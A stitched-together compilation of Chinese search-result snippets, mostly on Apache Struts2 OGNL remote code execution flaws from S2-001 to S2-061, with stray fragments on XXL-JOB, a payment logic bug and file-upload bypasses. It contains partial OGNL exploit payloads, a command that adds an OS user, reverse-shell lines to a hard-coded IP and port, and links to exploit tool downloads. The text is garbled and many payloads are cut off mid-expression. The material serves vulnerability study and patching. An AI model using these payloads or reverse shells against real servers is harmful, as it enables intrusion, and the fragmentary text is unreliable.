S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。 S2-013漏洞 漏洞触发: 由于官方没有发补丁,所以最新版本的struts2还是有漏洞的,可以下载最新:Apache Struts 2.3.14 GA的示例应用。 请勿任意尝试,漏洞利用代码会让对方站点挂掉 S2-032漏洞 此次漏洞存在于struts2的动态方法引用功能。 S2-037漏洞 S2-037的漏洞利用思路建立在s2-033的基础只上,还是对method没有进行过滤导致的,漏洞影响Struts 2.3.20 – Struts 2.3.28.1版本,使用到REST Poc: image.png S2-045漏洞 漏洞分析 Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码通过http报文头部的Content-Type字段传递给存在漏洞的服务器
【漏洞参考】 http://struts.apache.org/2.x/docs/s2-001.html XWork 绕过参数拦截器执行OGNL语句 【官方ID】S2-003 【危害等级】高 【受影响版本 【漏洞参考】 http://struts.apache.org/2.x/docs/s2-003.html 目录遍历漏洞可以获取服务器静态文件 【官方ID】S2-004 【危害等级】高 【受影响版本】 Struts 2.0.0 – Struts 2.0.11.2 【漏洞描述】 原因:struts2分派器设计问题。 OGNL远程代码执行漏洞 【官方ID】S2-007 【危害等级】高 【受影响版本】 Struts 2.0.0 – Struts 2.2.3 【漏洞描述】 转换错误,导致用户输入可以当做OGNL表达式执行 【Exploit】 struts2多个安全漏洞 【官方ID】S2-008 【危害等级】高 【受影响版本】 Struts 2.1.0 – Struts2.3.1 【漏洞描述】 Remote command
Struts漏洞分析 Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。 下面就来说一下之前版本,Struts2的漏洞是如何产生的,我们自己去做,该如何的去解决这个安全漏洞: 我听有人说: “这算什么漏洞”,我想说的是:“你在浏览器就能把别个服务器搞蹦掉,让它停掉没工作了,这能不是高危漏洞么 【说明: url中的\u0023实际上是代表#号,%20实际上是代表空格,\u003实际上是代表等于】 2.产生漏洞的原因如下: 上面的地址被浏览器会翻译成: ? 3.为什么会产生这样的漏洞呢? struts2提供了存储数据valueStack struts2提供了访问数据的ognl表达式 ognl表达式不但可以访问到valueStack中的值,而且还可以改变valueStack中的值调用valueStack.setValue
Struts漏洞合集 Struts-S2-013漏洞利用 受影响版本 Struts 2.0.0 – Struts 2.3.14.1 漏洞利用 任意命令执行POC: ${(#_memberAccess[“ ()%7D Struts-S2-001漏洞利用 影响版本 Struts2.0.0 – Struts2.3.15 漏洞利用 获取tomcat执行路径: %{“tomcatBinDir{“+@java.lang.System 016漏洞利用 影响版本 2.0.0 – 2.3.15 执行命令 redirect:${#context[“xwork.MethodAccessor.denyMethodExecution”]=false 045漏洞利用 影响版本 Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10 POC %{#context[‘com.opensymphony.xwork2 (#ros.flush())} Struts-S2-057漏洞利用 受影响版本 Struts 2.3 – 2.3.34 Struts 2.5 – 2.5.16 POC $%7B233*233%7D
二,s2-045漏洞形成分析 CVE编号:CVE- 2017- 5638 POST请求发送数据 功能:获取WEB路径,任意命令执行,反弹shell和文件上传 首先,我们先对比一下修复前与修复后的版本 ,可使远程攻击者通过构造的OGNL表达式,执行任意代码 在TextParseUtil.java中找到return parser 发现在这调用了ognl的方法,这就是漏洞形成的原因 三,s2-045 漏洞复现 Struts2漏洞利用扫描工具及其环境 Structs2高危漏洞exp的扫描利用工具(2018) 链接:https://pan.baidu.com/s/1rOMjz-7xOYGyJdh4pdddCQ 提取码:aero 漏洞环境 链接:https://pan.baidu.com/s/1w7yAmprETRfPNiF5mJ8Rdg 提取码:5b1r 部署s2-045漏洞环境 .multipart/form-data 再运用漏洞检查工具检测出了 S2-045漏洞
2、危害 攻击者可以对执行器所在的服务器进行任意命令执行,从而获得执行器所在服务器的权限。 /dev/tcp/10.58.81.108/4444 0>&1", 4、防御 修改accessToken的默认值,调度中心和执行器的值需保持一致,例如将accessToken修改为cGqJjTqH2VMB2R1 : sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-admin/src/main/resources /application.properties sed -i 's/default_token/cGqJjTqH2VMB2R1/g' /usr/local/xxl-job-2.4.0/xxl-job-executor-samples ,成功修复漏洞。
struts2漏洞复现 目录 简介 判断框架 S2-061远程执行代码漏洞 S2-059 远程代码执行漏洞 S2-057 远程命令执行漏洞 S2-053 远程代码执行漏洞 工具 简介 Struts2 S2-061远程执行代码漏洞 S2-061是对S2-059的绕过,Struts2官方对S2-059的修复方式是加强OGNL表达式沙盒,而S2-061绕过了该沙盒。 (#execute.exec(#arglist))} ------WebKitFormBoundaryl7d1B1aGsV2wcZwF-- 反弹shell: S2-059 远程代码执行漏洞 Apache = requests.post(url, data=data2) # print(res2.text) S2-057 远程命令执行漏洞 当Struts2的配置满足以下条件时: alwaysSelectFullNamespace 053 远程代码执行漏洞 Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。
Web服务有个很有名的词: LAMP(1.Linux 2.Apache 3.Mysql 4.PHP) 比如一个网站的发帖留言功能,在网页提交,PHP将你的留言提交到数据库中,PHP登陆数据库调用你所有的留言 image.png 2.打开Apache服务 2.打开Apache服务 /etc/init.d/apache2 start /etc/init.d/apache2 status #使用start打开Apache 服务,顺便用status查看是否顺利打开 或者是这样也可以 cd /etc/apache2 systemctl restart apache2 systemctl status apache2 image.png image.png 2.运行php -v可以看到php是配置好的 image.png (注意:如果是7.3版本的mysql要改成mysqli,这里我们是7.4.5) 3.MySQL 1.同上Kali虚拟机中有 image.png 2.打开MySQL服务 2.打开MySQL服务 cd /etc systemctl start mysql systemctl status mysql 或者这种方式也可以: sudo
“SSM”所代替,具体原因出来性能方面的提高,还要就是struct2的漏洞实在是太多,像国内BAT都被坑了一波,更别说ZF机关。 OGNL表达式 struct2系列漏洞最开始是使用的OGNL表达式造成非法调用,OGNL是Object Graphic Navigation Language(对象图导航语言)的缩写,他是一个开源项目。 表达式 靶场演示 声明:靶场与相关POC,EXP来源与vulhub s2-001远程代码执行漏洞 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value ()%7D 靶场演示 s2-015命令命令执行 漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式,例如: <package name="S<em>2</em>- OGNL表达式计算,导致远程命令执行<em>漏洞</em>。
struts2最近几个漏洞分析&稳定利用payload http://drops.wooyun.org/papers/902 0x00 背景 看到网上关于struts2利用的文章非常多,但是对于漏洞触发跟踪分析的文档比较少 struts2-core.jar中的DebuggingInterceptor.java实现,然后漏洞 也存在于此程序中。 这里我以debug=command这个逻辑下,测试漏洞,我的POC如下所示: http://localhost:8080/S2-016/hello.action? %28%22BINGO%22%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29 同时在之前的struts2exp这个程序基础上修改出一个exp,整合了近几年出现的几个高危漏洞 ======== struts2安全漏洞 struts2漏洞一般指struts2安全漏洞 Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站
14年Struts2报出Struts2的漏洞(2.0.0<=version<=2.3.15), 17年3月这次的S-045漏洞,被入侵者植入了后门程序, 1. Struts2的重定向漏洞 根据Apache给出的漏洞修复方案,只是升级了jar包版本2.3.16 升级完成后所有页面访问都出现了404,如下bug: There is no Action mapped 2. Struts2 OGNL的高危漏洞S-045 Struts使用的Jakarta解析文件上传请求包不当,当远程攻击者构造恶意的Content-Type,可能导致远程命令执行。 针对此问题做出如下修改: (1)根据Apache给出的漏洞修复方案,升级Struts2相关jar到2.3.32 (2)关于上传文件部分做出如下验证 <1>上传文件非空验证; <2>上传文件格式验证
Struts2 漏洞集合 总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充。 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用docker部署 S2-001 (CVE-2007-4556) 该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL %2C%23out.getWriter().close()%0A S2-053 继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017 的远程代码执行漏洞(S2-057),漏洞威胁等级为高危,漏洞对应的CVE编号为CVE-2018-11776。 2 紧急漏洞公告(S2-046),CVE编号CVE-2017-5638。
1、原理 Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍 类似的可以执行 java.lang.Runtime.getRuntime().exec(“net user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F 2、解决方法 网上很多文章都介绍了三种解决方法,个人觉得将struts2的jar包更新到最新版本最简单,不用更改任何程序代码,目前最新版本2.3.4 下载到的更新包中有很多jar包,我系统中主要用到以下几个替换掉旧版本的 commons-lang-2.6.jar) javassist-3.11.0.GA.jar (新加包) ognl-3.0.5.jar (替换旧版本) struts2-
0x01 漏洞解析在常规的支付流程中,系统会对支付金额进行严格校验,以确保交易的合理性与安全性。然而,当支付系统在设计或编码过程中存在缺陷时,就可能出现允许用户将总价修改为负数并成功支付的情况。 黑客一旦发现这类漏洞,便可以通过篡改支付请求中的数据,将商品总价改为负数。这样一来,不仅能免费获取商品,甚至可能让商家倒贴钱,给商家带来巨大的经济损失。下图为乌云找到的漏洞。 0x02 漏洞复现本次使用靶场连接:http://www.loveli.com.cn:12531/点击购买物品,然后确认购买提示余额不足获取数据包修改为负数,发现钱包金额反向增长修改为负数-999,出现 flag0x03 漏洞修复方法前端与后端双重校验:前端需对用户输入的价格、数量等参数进行初步校验,限制参数的合理范围(如价格不能为负数、数量不能小于 1),但不能仅依赖前端校验。
Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介绍)语句。 这个可以避免这个问题,但是struts开发团队没有release这个版本(包括最新的2.2.1版本都没有release),经我测试发现新版本虽然解决了上述的漏洞,但是新的问题是strus标签出问题了。 Java代码 这样的标签在struts2.0中是可以使用的,但是新版中就不解析了,原因就是“#”的问题导致的,补了漏洞,正常的使用也用不了了。 所以sebug网站上的建议升级到2.2版本是不可行的。 2.struts参数过滤。 Java代码 .*\\u0023.* .*\\u0023.* 这个可以解决漏洞问题,缺点是工作量大,每个项目都得改struts配置文件。 既然漏洞的确存在,咱们就要重视对吧。欢迎大家测试,是否windows下漏洞不能执行成功。
这是自2013年Struts2(s2-016)命令执行漏洞大规模爆发之后,该服务时隔三年再次爆发大规模漏洞。该漏洞也是爆出的最严重安全漏洞。 在6月3日,安恒研究院对Struts2 S2-033漏洞分析发现:最新高危漏洞官方修复方案无效。 漏洞发生后,安恒信息通过第一时间对Apache发布Struts2 S2-033远程代码执行漏洞的修复方案经过安恒研究院研究人员的测试,确认该修复方案并不完整,依然会导致恶意攻击者对Struts2应用发起远程代码执行攻击 发现此次Struts2漏洞修复方案无效的就是安恒研究院技术高手“Nike.zheng”,此前4月份,就是他就曾向Apache官方提交了Struts2高危安全漏洞(CVE-2016-3081,S02-32 面对此次Struts2 S2-033漏洞修复方案并不完整,安恒信息安全工程师详实的记录下分析漏洞的情况,并给出了相应的防护方案:客户可以使用明鉴web应用弱点扫描器和网站安全监测平台在线更新策略来检测是否自身应用存在漏洞
0x00 漏洞简介 Apache Struts框架, 会对某些特定的标签的属性值,比如id属性进行二次解析,所以攻击者可以传递将在呈现标签属性时再次解析的OGNL表达式,造成OGNL表达式注入。 0x01 影响版本 Struts 2.0.0 - Struts 2.5.20 0x02 环境搭建 用vulhub搭建即可 docker-compos up -d 环境完成 0x03 漏洞复现 http kali的ip/端口 0>&1 需要编码 将编码完的bash替换到脚本里边,ip替换,需要脚本的右边公众号留言 脚本运行前先用nc 监听端口,bash编码的那个端口 0x04 修复意见 更新Struts2位最新版本 继续复现s2-061 小白一枚,大佬勿喷! 在漏洞复现的和挖洞中徘徊。
s2-061 漏洞复现 0x00 漏洞简介 Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架。 Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行 0x01 漏洞描述 Struts2 会对某些标签属性(比如 `id`,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 `%{x}` 且 `x` 的值用户可控时,用户再传入一个 S2-061是对S2-059沙盒进行的绕过。 脚本: 0x05 漏洞修复 避免对不受信任的用户输入使用强制OGNL评估,或/和升级到2.5.26版,可修复该漏洞。
{"+@java.lang.System@getProperty("user.dir")+"}"} 4.Vulhub漏洞复现 4.1 S2-001远程代码执行漏洞 开启struts2-001漏洞 005远程代码执行漏洞 漏洞原理 s2-005漏洞的起源源于s2-003(受影响版本:低于Struts2.0.12),struts2会将http的每个参数名解析为ODNL语句执行(可理解为Java代码) +%27 查看日志 4.4 S2-008远程代码执行漏洞 漏洞描述 S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat ()%7D 4.8 S2-015远程代码执行漏洞 漏洞原理 Apache Struts 2是用于开发JavaEE Web应用程序的开源Web应用框架。 4.20 S2-devMode远程代码执行漏洞 漏洞原理 当Struts2开启devMode模式时,将导致严重远程代码执行漏洞。
目录 windows系统 1.路径长度绕过 简介 2. .. /info.php 则后2../的作用一样,绕过路径(尽管. 攻击者可以利用这个漏洞绕过扩展名过滤 和00截断有同样效果的还有:? 而且在sess.php同目录下,已经生成了一个data2.php文件, ? 通过蚁剑连接data2.php文件 ? ,可以使用url编码绕过 / %2f . %2e 但是在进行编码的时候,发现.编码后还是.,而%2e解码后却成了.,不知道是啥原因 嗯学完这个知识点就去看url编码 ? ?